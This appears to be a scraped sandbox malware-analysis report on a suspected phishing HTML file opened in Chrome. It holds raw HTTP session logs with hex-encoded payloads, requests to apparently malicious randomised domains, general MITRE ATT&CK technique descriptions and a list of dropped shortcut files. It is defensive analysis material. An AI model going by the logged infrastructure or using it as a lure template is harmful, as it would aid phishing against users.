Z-TzbsWNR1ss-031BsXf+jT$z3z41g1sRsHsB5wx5Gsz5zMs0sw1-xzIs9BsBzA+iZ+UzVs+txMscsLL+JsVrlXz1zzsTDgFzm252z45BZg5z5zEswreM1orgp-Usr19BRQbe19rJWzlsHs+5sg5RsRMsy1oM+2zifoMg2zisuLXfs2sw1-s-ksL3zssosNmwjs8sNBzsz0sXsLxsDsL5w5susHsoWzfsU2sjzfZRbzssOQBo0n4ds4Z-$kPs7k
2024-10-11 13:54:32 UTC	1469	OUT	Data Raw: 73 57 69 51 73 6f 76 79 66 46 63 35 24 56 77 24 46 72 61 4d 78 73 48 35 32 67 78 2d 4f 74 72 54 6d 67 53 36 51 6d 61 65 72 33 74 53 73 4c 4f 55 5a 7a 4b 73 2d 5a 52 24 66 57 45 56 65 6d 30 4f 49 4b 32 45 72 30 4f 77 4b 4e 31 58 59 4f 57 4b 47 44 30 66 45 55 73 42 6e 2b 42 73 6e 34 61 62 42 69 6f 57 79 72 31 52 78 2d 49 37 65 72 4b 56 24 51 32 47 35 52 49 41 4d 4a 69 66 59 63 6b 59 73 31 46 6c 2b 64 48 37 6e 2d 6b 75 68 4a 37 6b 68 78 33 64 48 4b 42 66 61 2d 73 6c 54 48 4e 4a 38 62 4f 32 54 66 52 44 46 4c 6f 44 55 35 36 74 62 6c 77 7a 58 6f 73 57 66 6f 46 52 49 6e 69 66 35 31 56 53 46 2d 6c 44 64 75 2b 73 76 6c 6e 41 78 33 68 61 6c 61 64 45 37 41 69 6c 71 64 54 76 7a 58 6c 66 45 2b 54 73 65 6c 41 64 6f 57 42 6a 69 42 45 77 31 73 74 63 55 68 53 4a 41 46 56 Data Ascii: sWiQsovyfFc5$Vw$FraMxsH52gx-OtrTmgS6Qmaer3tSsLOUZzKs-ZR$fWEVem0OIK2Er0OwKN1XYOWKGD0fEUsBn+Bsn4abBioWyr1Rx-I7erKV$Q2G5RIAMJifYckYs1Fl+dH7n-kuhJ7khx3dHKBfa-slTHNJ8bO2TfRDFLoDU56tblwzXosWfoFRInif51VSF-lDdu+svlnAx3haladE7AilqdTvzXlfE+TselAdoWBjiBEw1stcUhSJAFV
2024-10-11 13:54:33 UTC	1321	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:54:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4476 Connection: close cf-chl-out: 9WSbgTcEKuuXzfGd+wjAJo9no4JU0i//94psY91aGVFMXM6QChWQgjEgJxGiHizwJ318iSs6nLphTvQZL3AZz30Ly+3cMYUS4ZzsrhQwk/o0rXR6oQGilEI=$pC8ysJO7xxxO8YXX cf-chl-out-s: YQM0sF8UDDHxEzSGtuNgsa0tXnQY/jYnG65tjXYj+bPNRetbvOGqZZKj1UU1zy+biFcr/CrUv2b+xqCtWKhP6ZiqrUGLFTIM8Bxjqk+2xUhbViV6uLeIeFqURCdI236nS4iAM9K/McjaiSlPbxf2X0Y7zUIi88GA87yFYWVLbgpa6HsrUVJCvfEzWkGSYa4J3ZDtyKtUx1jpAQgP4khapAPrbopdYA94R//Lcb3D0QKFateVDqGphHXMtGbk7VbK18NrGQQRaOS8RUqkUXb7CfVuc14jX9EtLcMAWpXFzYD7NRloYZ5kWYZfdpe7Lgh3d4H3dxJSaG2nFZfAlVCgA7hXsyr+c7EU+mdeyd5ekdiQRFE1NnM8a5HFSUA3sO60R3xFAz7hYulMNBxNGQFzBDLGWRDhw9zuoTvf1Ajq8wO7HTNLrQl2rbDO7UG0hf9JZDJjOm/SxosGR1oMbfpFokNRp8la81sG/qAPJVo7gmCaa2tWjZ0xCDkcZ8PgT8RbDO4Oax7SDm4PzSXkNQ7bdQEFt2TU4Bb7F4c8D+qz9KgKlwzHgU9DaCwzuqgqLX6kKosF3upH7qeAKF2bnEkMoGHHPfXv4Qb645ERm4Ob7pQcQK7NVANNuM1IMFxqA7EwNx1+hhGsf0NexR39qf85VWb0u6g+1mSFpG68GwAvFnHUY7AMprAWYLquE37jb3nU9iF7bDyi+YHoSWlYG7LP81biyqZsa1xKMt8RWdHLmXricm9bBiwf0DCsNBHNoTRw+RUgHYxBndOp8xrIBsIzcVTk3PGs1j/aJY9juNJfhuDlgGKIKktUe0WJKe3/DW/2vh/hE1s59ucRgXsjx9/i4qLusFa4M+aXkc34iykzHsYzPCmeUg/bFzxzVlMV3yqRE5HsBvaGAHBJooGCvnLseAA=$T5zeZ7sf7BYRlCYL Server: cloudflare CF-RAY: 8d0f57bb2a4c19bb-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:54:33 UTC	48	IN	Data Raw: 66 6d 64 70 67 32 74 65 6b 30 39 72 6d 59 74 52 62 6d 79 53 62 47 79 65 6e 34 4e 74 6b 35 39 38 63 4b 64 69 61 6f 43 59 6d 6d 31 76 6e 61 71 7a Data Ascii: fmdpg2tek09rmYtRbmySbGyen4Ntk598cKdiaoCYmm1vnaqz
2024-10-11 13:54:33 UTC	1369	IN	Data Raw: 63 6f 70 2f 74 4a 4b 6c 6b 61 2b 51 75 71 74 39 6c 72 36 76 67 5a 65 66 6f 5a 61 64 6b 72 76 46 76 4c 6d 68 77 36 54 42 6d 64 4b 71 73 4a 32 49 71 72 47 70 6d 73 7a 4a 72 64 4f 31 75 70 69 64 75 4b 2b 67 6f 4e 6a 56 74 64 2f 43 74 75 75 70 77 75 44 72 73 63 72 71 72 4c 37 49 2b 65 66 30 30 75 79 30 30 39 50 78 34 62 54 5a 7a 73 41 43 2b 50 58 49 41 4f 41 4e 41 4d 6e 69 32 73 6a 77 36 67 55 55 45 65 30 4c 34 63 77 4e 43 74 67 55 39 75 76 31 36 2b 34 6a 49 50 45 53 39 78 55 46 44 41 66 6b 37 69 50 6d 37 2b 37 75 4b 77 59 4d 4a 6a 45 52 45 76 63 6f 45 2f 73 50 2f 68 51 4d 52 52 38 6b 4b 43 45 42 53 55 49 6f 42 68 63 6f 4c 53 6c 51 4d 67 30 65 51 6b 6c 49 4f 45 77 35 47 6a 46 50 48 42 4a 55 4e 52 31 65 48 6a 64 41 4e 31 59 35 4a 44 64 43 4c 47 51 74 4c 46 70 Data Ascii: cop/tJKlka+Quqt9lr6vgZefoZadkrvFvLmhw6TBmdKqsJ2IqrGpmszJrdO1upiduK+goNjVtd/CtuupwuDrscrqrL7I+ef00uy009Px4bTZzsAC+PXIAOANAMni2sjw6gUUEe0L4cwNCtgU9uv16+4jIPES9xUFDAfk7iPm7+7uKwYMJjEREvcoE/sP/hQMRR8kKCEBSUIoBhcoLSlQMg0eQklIOEw5GjFPHBJUNR1eHjdAN1Y5JDdCLGQtLFp
2024-10-11 13:54:33 UTC	1369	IN	Data Raw: 34 32 56 72 34 5a 30 6d 72 57 65 6c 36 76 43 6c 73 57 68 70 4c 2b 62 70 36 6d 38 68 36 32 4b 7a 4d 36 77 77 71 61 74 77 72 57 6d 31 4c 6a 4f 72 72 4f 70 33 36 72 4c 77 74 4c 67 34 63 54 64 6f 61 44 55 6f 36 6e 48 7a 75 53 74 70 4d 2b 73 78 74 2f 53 73 4c 47 30 35 4e 6a 38 30 65 69 33 2b 4e 6a 66 34 39 6e 65 34 65 51 4a 41 76 63 41 2f 41 66 72 37 73 33 6a 2b 77 4d 56 41 77 44 51 37 65 34 45 31 74 58 63 43 39 63 64 32 66 76 38 34 52 49 49 34 75 58 6c 46 76 54 6c 4b 78 77 66 38 51 73 65 46 50 48 77 49 42 59 53 44 67 63 4c 43 78 30 62 4e 45 48 36 44 6a 67 78 52 79 59 42 4e 51 55 72 48 41 5a 49 48 42 38 4b 52 44 46 4a 4a 79 73 77 4d 52 4a 59 4a 6c 45 7a 4b 54 77 62 54 56 30 76 50 52 34 69 52 7a 5a 55 50 44 64 67 5a 55 5a 64 4b 7a 39 70 55 69 34 75 54 57 4d 77 Data Ascii: 42Vr4Z0mrWel6vClsWhpL+bp6m8h62KzM6wwqatwrWm1LjOrrOp36rLwtLg4cTdoaDUo6nHzuStpM+sxt/SsLG05Nj80ei3+Njf49ne4eQJAvcA/Afr7s3j+wMVAwDQ7e4E1tXcC9cd2fv84RII4uXlFvTlKxwf8QseFPHwIBYSDgcLCx0bNEH6DjgxRyYBNQUrHAZIHB8KRDFJJyswMRJYJlEzKTwbTV0vPR4iRzZUPDdgZUZdKz9pUi4uTWMw
2024-10-11 13:54:33 UTC	1369	IN	Data Raw: 68 39 67 4b 36 35 6b 70 36 6b 76 5a 61 6a 6c 73 43 38 68 70 6d 77 6d 72 2b 7a 30 73 79 6f 77 71 66 49 72 4b 65 70 32 4c 36 70 6d 73 75 34 7a 63 4b 75 75 39 50 57 75 62 32 34 34 63 58 47 75 72 32 74 36 72 37 44 31 72 44 54 36 38 4b 77 35 4c 58 4f 74 39 72 4e 2f 4f 33 72 30 74 61 2f 30 76 33 4a 78 65 62 47 79 66 62 35 42 73 33 49 2b 2b 4d 56 7a 51 4d 4c 36 68 72 31 45 76 49 66 44 4f 6a 79 45 41 4d 6a 39 74 34 49 34 66 4c 71 39 69 76 36 4c 78 6f 41 42 77 30 52 41 68 66 77 41 2f 49 62 4e 52 62 32 4b 52 38 61 48 78 4d 30 49 44 6f 43 51 43 67 6c 43 52 30 72 42 30 30 67 4f 55 39 51 4b 54 77 7a 4a 79 34 77 4f 53 4e 45 53 54 59 6e 4f 30 6b 74 59 45 45 38 55 79 55 34 52 45 67 68 4e 45 63 6d 61 56 74 62 4b 55 4e 51 58 6d 64 30 53 47 42 47 65 45 78 55 57 33 46 49 59 Data Ascii: h9gK65kp6kvZajlsC8hpmwmr+z0syowqfIrKep2L6pmsu4zcKuu9PWub244cXGur2t6r7D1rDT68Kw5LXOt9rN/O3r0ta/0v3JxebGyfb5Bs3I++MVzQML6hr1EvIfDOjyEAMj9t4I4fLq9iv6LxoABw0RAhfwA/IbNRb2KR8aHxM0IDoCQCglCR0rB00gOU9QKTwzJy4wOSNESTYnO0ktYEE8UyU4REghNEcmaVtbKUNQXmd0SGBGeExUW3FIY
2024-10-11 13:54:33 UTC	321	IN	Data Raw: 52 67 4c 2b 64 6c 35 54 4c 6d 4a 71 59 6a 4a 79 62 73 64 44 43 74 63 61 55 73 4b 57 30 72 62 61 70 76 64 2b 34 72 71 7a 62 75 4d 62 6d 75 62 36 32 33 2b 7a 57 75 37 33 6e 79 4c 37 69 73 4d 33 57 35 76 58 33 32 37 53 38 78 75 44 68 75 64 48 68 34 51 58 66 35 4f 66 61 39 63 6e 71 2f 51 51 4a 44 64 2f 53 30 50 33 4c 45 39 58 57 45 78 6e 59 42 68 37 62 48 51 6f 6a 48 53 48 69 35 66 33 69 36 41 4d 65 49 78 6b 66 39 2b 30 51 4c 69 67 78 49 67 6f 49 45 69 49 44 38 42 55 70 39 7a 6a 35 4b 76 67 5a 41 45 48 33 49 54 73 4a 50 44 77 6e 50 77 73 4e 4f 55 38 38 4d 53 51 7a 44 67 30 75 49 53 63 77 4f 78 70 5a 58 6d 41 37 51 44 49 39 48 46 31 52 52 45 5a 48 4b 45 5a 4b 50 79 46 49 54 57 56 4e 54 69 78 48 64 31 55 77 4d 6d 64 57 4e 44 35 6e 58 56 70 76 59 30 39 2b 51 6c Data Ascii: RgL+dl5TLmJqYjJybsdDCtcaUsKW0rbapvd+4rqzbuMbmub623+zWu73nyL7isM3W5vX327S8xuDhudHh4QXf5Ofa9cnq/QQJDd/S0P3LE9XWExnYBh7bHQojHSHi5f3i6AMeIxkf9+0QLigxIgoIEiID8BUp9zj5KvgZAEH3ITsJPDwnPwsNOU88MSQzDg0uIScwOxpZXmA7QDI9HF1RREZHKEZKPyFITWVNTixHd1UwMmdWND5nXVpvY09+Ql

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.17	49749	104.18.94.41	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:54:33 UTC	485	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/45662806:1728652483:UESNLT3H3QxqO_wId2lAkhZLoYB2rUVT4FgDxeg5U30/8d0f56a70cadc3ff/f3abe9e63e0e531 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:54:33 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 11 Oct 2024 13:54:33 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: kQz4d8I4vqk0fdIheym2g15QSklDh1WJWhg=$iuWvkA7C3r2ZRANV Server: cloudflare CF-RAY: 8d0f57bfecb17293-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:54:33 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.17	49750	188.114.97.3	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:54:33 UTC	660	OUT	GET /539977775575586577HoxufoYVCQOLDQGFXGMZEQOIITJBSUOIJQZQAKITIRDRGTSI HTTP/1.1 Host: ugrssk2xcnmyafkbur3ma854zqoajfwne1fjkqg37ynrm8rpseo.diblethe.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://9q.iountanic.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://9q.iountanic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:54:34 UTC	717	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:54:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pk2Os40mFTKRzVuIjJxJxdxkMAcC1h2S%2ByOAJhkudZqKo%2BFN93yGO3JNDIz4S7MSQ4kjiIS%2FrkUeWX8qLINzkpb8ItP469230T0HsIOXO9ObSo3EkaHFBfvBoea1OwA%2FVHvqZkT0BogckjdCq5Dqji%2B%2BZJW1NeCqQNMgERnThfp4GLZMpujvie39W7aPWM3s46bw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8d0f57c059c58c8f-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:54:34 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-10-11 13:54:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.17	49753	188.114.96.3	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:54:34 UTC	454	OUT	GET /539977775575586577HoxufoYVCQOLDQGFXGMZEQOIITJBSUOIJQZQAKITIRDRGTSI HTTP/1.1 Host: ugrssk2xcnmyafkbur3ma854zqoajfwne1fjkqg37ynrm8rpseo.diblethe.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:54:35 UTC	715	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:54:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ecXUl45hvTKEi9nJnS6KuyIxwyP5EgxCLkJIvfhNj7%2BhlLz6tSBpSs4KMP8SkZGeUaZZ%2B30Go9NvnXOkR8GVzVVNOLUNiOiHtHL%2B0gbiqa4xd4qRI3zKQa%2B%2FHm9jcmxmqkk3gizNEYNZMVo133wHhKKTN2D44HHBfTtlbtLHAxb2Y7TXYXyLIjk8uDgOl5EXmObS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8d0f57c868e432d0-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:54:35 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-10-11 13:54:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.17	49763	18.245.86.6	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:54:36 UTC	631	OUT	GET /html/assets/img_community-logo.svg HTTP/1.1 Host: community.sephora.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.sephora.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AKA_A2=A
2024-10-11 13:54:36 UTC	534	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-Length: 1651 Connection: close Server: Apache Accept-Ranges: bytes Last-Modified: Tue, 04 Aug 2020 15:20:49 GMT Access-Control-Allow-Origin: * Date: Fri, 11 Oct 2024 13:54:36 GMT Cache-Control: max-age=7200 ETag: W/"1651-1596554449000" Vary: Accept-Encoding,Origin X-Cache: RefreshHit from cloudfront Via: 1.1 1c3c1c03f4bbd4e68725363918cb3454.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P6 X-Amz-Cf-Id: _oF4RV1j-LJ_DJzmrg0tmB7fFXjNnDQh-kwaYrtf3glrSs7myfGNTQ==
2024-10-11 13:54:36 UTC	1651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 34 33 35 2e 32 20 31 30 30 30 20 31 32 39 2e 36 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 64 3d 22 4d 38 31 32 2e 36 20 34 37 32 2e 31 63 2d 32 2e 32 2d 32 30 2e 31 2d 32 37 2e 34 2d 31 38 2e 36 2d 33 32 2e 32 2d 31 38 2e 36 68 2d 31 30 2e 31 56 34 39 35 63 34 2e 33 2e 32 20 37 2e 36 2e 32 20 31 31 2e 39 2e 32 20 35 2e 31 20 30 20 33 33 20 2e 37 20 33 30 2e 34 2d 32 33 2e 31 7a 4d 36 33 31 2e 34 20 34 35 32 2e 39 63 2d 32 38 2e 37 20 30 2d 34 34 2e 39 20 32 31 2e 32 2d 34 34 2e 39 20 34 37 2e 31 20 30 20 32 36 2e 31 20 31 36 2e 32 20 34 37 2e 31 20 34 34 2e 39 20 34 37 2e 31 73 34 34 2e Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 435.2 1000 129.6"><path fill="none" d="M812.6 472.1c-2.2-20.1-27.4-18.6-32.2-18.6h-10.1V495c4.3.2 7.6.2 11.9.2 5.1 0 33 .7 30.4-23.1zM631.4 452.9c-28.7 0-44.9 21.2-44.9 47.1 0 26.1 16.2 47.1 44.9 47.1s44.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.17	49764	18.245.86.11	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:54:37 UTC	397	OUT	GET /html/assets/img_community-logo.svg HTTP/1.1 Host: community.sephora.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AKA_A2=A
2024-10-11 13:54:38 UTC	535	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-Length: 1651 Connection: close Server: Apache Accept-Ranges: bytes Last-Modified: Tue, 04 Aug 2020 15:20:49 GMT Access-Control-Allow-Origin: * Date: Fri, 11 Oct 2024 13:54:36 GMT Cache-Control: max-age=7200 ETag: W/"1651-1596554449000" Vary: Accept-Encoding,Origin X-Cache: Hit from cloudfront Via: 1.1 debf5a1694fcb96cc13d895660321eda.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P6 X-Amz-Cf-Id: KDaAKF9okM8AKVWZadrX2c2uMN853NF8Fr8AR7SkZXTvvY7rE7JahA== Age: 2
2024-10-11 13:54:38 UTC	1651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 34 33 35 2e 32 20 31 30 30 30 20 31 32 39 2e 36 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 64 3d 22 4d 38 31 32 2e 36 20 34 37 32 2e 31 63 2d 32 2e 32 2d 32 30 2e 31 2d 32 37 2e 34 2d 31 38 2e 36 2d 33 32 2e 32 2d 31 38 2e 36 68 2d 31 30 2e 31 56 34 39 35 63 34 2e 33 2e 32 20 37 2e 36 2e 32 20 31 31 2e 39 2e 32 20 35 2e 31 20 30 20 33 33 20 2e 37 20 33 30 2e 34 2d 32 33 2e 31 7a 4d 36 33 31 2e 34 20 34 35 32 2e 39 63 2d 32 38 2e 37 20 30 2d 34 34 2e 39 20 32 31 2e 32 2d 34 34 2e 39 20 34 37 2e 31 20 30 20 32 36 2e 31 20 31 36 2e 32 20 34 37 2e 31 20 34 34 2e 39 20 34 37 2e 31 73 34 34 2e Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 435.2 1000 129.6"><path fill="none" d="M812.6 472.1c-2.2-20.1-27.4-18.6-32.2-18.6h-10.1V495c4.3.2 7.6.2 11.9.2 5.1 0 33 .7 30.4-23.1zM631.4 452.9c-28.7 0-44.9 21.2-44.9 47.1 0 26.1 16.2 47.1 44.9 47.1s44.

Target ID:	0
Start time:	09:53:41
Start date:	11/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Audio.wavqvc.com10098.html
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:53:41
Start date:	11/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=2032,i,9994889272680913447,6764105540733817126,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Audio.wavqvc.com10098.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 74

Chrome Cache Entry: 75

